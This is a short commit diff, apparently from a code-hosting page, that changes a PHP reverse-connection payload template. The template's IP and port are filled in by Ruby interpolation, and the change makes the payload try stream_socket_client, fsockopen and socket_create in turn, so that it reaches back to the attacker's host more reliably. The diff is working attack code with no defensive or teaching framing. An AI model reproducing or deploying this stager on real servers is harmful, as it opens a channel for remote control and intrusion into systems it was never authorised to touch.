Try all callable methods when creating socket
parent
75c571de83
commit
e8d4ad8a89
|
@ -60,15 +60,18 @@ $port = #{opts[:port]};
|
|||
if (($f = 'stream_socket_client') && is_callable($f)) {
|
||||
$s = $f("tcp://{$ip}:{$port}");
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
||||
}
|
||||
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
|
||||
$s = $f($ip, $port);
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'socket_create') && is_callable($f)) {
|
||||
}
|
||||
if (!$s && ($f = 'socket_create') && is_callable($f)) {
|
||||
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
|
||||
$res = @socket_connect($s, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
}
|
||||
if (!$s_type) {
|
||||
die('no socket funcs');
|
||||
}
|
||||
if (!$s) { die('no socket'); }
|
||||
|
|
Loading…
Reference in New Issue